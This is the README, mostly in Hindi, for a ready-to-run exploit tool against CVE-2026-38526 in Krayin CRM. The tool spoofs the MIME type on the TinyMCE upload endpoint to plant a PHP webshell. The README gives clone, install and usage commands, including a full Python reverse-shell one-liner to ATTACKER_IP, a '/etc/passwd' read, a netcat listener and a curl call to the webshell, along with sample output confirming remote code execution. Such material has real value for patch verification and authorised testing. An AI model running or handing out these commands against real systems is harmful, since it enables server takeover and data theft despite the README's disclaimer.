CVE-2026-38526 - Krayin CRM PHP Upload RCE

Krayin CRM ≤ 2.2.x के लिए स्वचालित एक्सप्लॉइट। यह स्क्रिप्ट TinyMCE एंडपॉइंट (/admin/tinymce/upload) में असीमित फ़ाइल अपलोड भेद्यता का शोषण करती है, image/jpeg का रूप धारण करके MIME-प्रकार सत्यापन को बायपास करती है, एक PHP वेबशेल अपलोड करती है, और वेब सर्वर विशेषाधिकारों के साथ मनमाने कमांड निष्पादित करती है।

भेद्यता विवरण

पूर्वापेक्षाएँ

• Python 3.7+
• लक्षित Krayin CRM इंस्टेंस के लिए मान्य व्यवस्थापक क्रेडेंशियल्स
• लक्षित एप्लिकेशन तक नेटवर्क पहुँच
• requests लाइब्रेरी

इंस्टॉलेशन

git clone https://github.com/b0nyo/CVE-2026-38526.git
cd CVE-2026-38526
pip3 install -r requirements.txt

उपयोग

python3 CVE-2026-38526.py -i <TARGET_URL> -u <USERNAME> -p <PASSWORD> [-c <COMMAND>]

आर्ग्युमेंट्स

उदाहरण

# Basic check
python3 CVE-2026-38526.py -i http://target.com -u [email protected] -p "AdminPassword123!"

# Custom command
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "cat /etc/passwd"

# Reverse shell
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"

एक्सप्लॉइट प्रवाह

1. प्रमाणीकरण: लॉगिन पृष्ठ से CSRF टोकन निकालें, दिए गए क्रेडेंशियल्स से प्रमाणित करें
2. सत्र सत्यापन: प्रमाणित डैशबोर्ड से नया CSRF टोकन निकालें
3. वेबशेल अपलोड: नकली MIME-प्रकार के साथ PHP पेलोड को /admin/tinymce/upload पर अपलोड करें
4. कमांड निष्पादन: वेबशेल GET पैरामीटर के माध्यम से मनमाने कमांड निष्पादित करें

नमूना आउटपुट

[*] Target: http://target.com
[*] Username: [email protected]

[*] Authenticating...
[+] Authentication successful

[*] Uploading webshell...
[+] Webshell uploaded: http://target.com/storage/tinymce/abc123def456.php
[+] CVE-2026-38526 CONFIRMED - Remote Code Execution

[*] Executing: id
[*] Output:
────────────────────────────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
────────────────────────────────────────────────────────────────────

[*] Manual execution (curl):
curl 'http://target.com/storage/tinymce/abc123def456.php?cmd=id'

सामान्य समस्याएँ

प्रमाणीकरण विफल: सत्यापित करें कि क्रेडेंशियल्स सही हैं और खाता लक्ष्य पर मौजूद है।

CSRF टोकन निष्कर्षण विफल: सुनिश्चित करें कि लक्ष्य कमजोर Krayin CRM चला रहा है और लॉगिन एंडपॉइंट सुलभ है।

रिवर्स शेल कनेक्ट नहीं हो रहा: सुनिश्चित करें कि आपका लिसनर चल रहा है (nc -lvnp <PORT>), फ़ायरवॉल नियम आउटबाउंड कनेक्शन की अनुमति देते हैं, और पेलोड में IP/पोर्ट सही हैं।

अस्वीकरण

यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। किसी भी लक्षित सिस्टम का परीक्षण करने से पहले उचित प्राधिकरण सुनिश्चित करने की पूरी ज़िम्मेदारी उपयोगकर्ताओं की है। इस टूल के दुरुपयोग या इससे होने वाली क्षति के लिए लेखक कोई दायित्व नहीं लेता है।

संदर्भ

• TREXNEGRO Security Advisory - CVE-2026-38526
• Krayin CRM GitHub
• OWASP - Unrestricted File Upload

लेखक

b0nyo - PoC कार्यान्वयन

• GitHub

TREXNEGRO - भेद्यता खोज

• Security Advisories